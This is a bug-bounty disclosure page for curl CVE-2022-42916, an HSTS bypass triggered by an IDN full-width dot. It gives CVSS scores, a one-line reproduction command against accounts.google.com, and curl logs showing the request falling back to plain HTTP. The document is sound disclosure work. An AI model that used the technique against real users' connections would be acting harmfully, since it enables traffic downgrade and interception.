Lucene search

K
hackeroneKurohiroH1:1730660
HistoryOct 11, 2022 - 4:30 p.m.

curl: CVE-2022-42916: HSTS bypass via IDN

2022-10-1116:30:22
kurohiro
hackerone.com
207

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.001 Low

EPSS

Percentile

40.7%

Summary:

HSTS checks are bypassed if any character in the IDN convert(Nameprep) to a ‘.’
for example"。"(UTF-8:E38082).
I think there are other characters that become “.(UTF-8:2E)” as a result of converting with IDN.

‘。(UTF-8:E38082)’ is converted to ‘.’ so it doesn’t matter if it’s last or not.
So the same thing happens with “http://accounts.google.com。” as well as “http://accounts.google。com”.

Steps To Reproduce:

curl -v --hsts hsts.txt http://accounts.google.com。
I prepared “test.sh” because I was worried about whether I could try it in an environment without Japanese fonts. The character encoding is UTF-8.

hsts:txt:

# Your HSTS cache. https://curl.se/docs/hsts.html
# This file was generated by libcurl! Edit at your own risk.
.accounts.google.com "20231011 14:44:21"

The results of the execution are shown below.

IDN When not converting:

# curl -v --hsts hsts.txt http://accounts.google.com
* Switched from HTTP to HTTPS due to HSTS => https://accounts.google.com/
*   Trying 142.250.196.141:443...
* Connected to accounts.google.com (142.250.196.141) port 443 (#0)
* ALPN: offers h2
* ALPN: offers http/1.1
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.0 (OUT), TLS header, Certificate Status (22):
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS header, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS header, Finished (20):
* TLSv1.2 (IN), TLS header, Supplemental data (23):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.2 (OUT), TLS header, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server accepted h2
* Server certificate:
*  subject: CN=accounts.google.com
*  start date: Sep 12 08:19:34 2022 GMT
*  expire date: Dec  5 08:19:33 2022 GMT
*  subjectAltName: host "accounts.google.com" matched cert's "accounts.google.com"
*  issuer: C=US; O=Google Trust Services LLC; CN=GTS CA 1C3
*  SSL certificate verify ok.
* Using HTTP2, server supports multiplexing
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
* h2h3 [:method: GET]
* h2h3 [:path: /]
* h2h3 [:scheme: https]
* h2h3 [:authority: accounts.google.com]
* h2h3 [user-agent: curl/7.85.0]
* h2h3 [accept: */*]
* Using Stream ID: 1 (easy handle 0x5580b5b3d690)
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
> GET / HTTP/2
> Host: accounts.google.com
> user-agent: curl/7.85.0
> accept: */*
>
* TLSv1.2 (IN), TLS header, Supplemental data (23):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* old SSL session ID is stale, removing
* TLSv1.2 (IN), TLS header, Supplemental data (23):
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
* TLSv1.2 (IN), TLS header, Supplemental data (23):
* TLSv1.2 (IN), TLS header, Supplemental data (23):
< HTTP/2 302

the rest of the information is omitted

When IDN convert(1):

# curl -v --hsts hsts.txt http://accounts.google.com。
*   Trying 142.251.42.141:80...
* Connected to accounts.google.com。 (142.251.42.141) port 80 (#0)
> GET / HTTP/1.1
> Host: accounts.google.com.
> User-Agent: curl/7.85.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Cache-Control: private
< Content-Type: text/html; charset=UTF-8
< Referrer-Policy: no-referrer
< Location: http://accounts.google.com/
< Content-Length: 224
< Date: Tue, 11 Oct 2022 16:28:28 GMT
<
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<h1>301 Moved</h1>
The document has moved
<a href="http://accounts.google.com/">here</a>.
&lt;/BODY&gt;&lt;/HTML&gt;
* Connection #0 to host accounts.google.com。 left intact

When running with -L, TLS communication was successful. In other words, certificate validation (CN/SAN validation) works fine, so I think you should do the same for HSTS.

I determined the severity with reference to #1557449

Impact

HSTS bypass.

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.001 Low

EPSS

Percentile

40.7%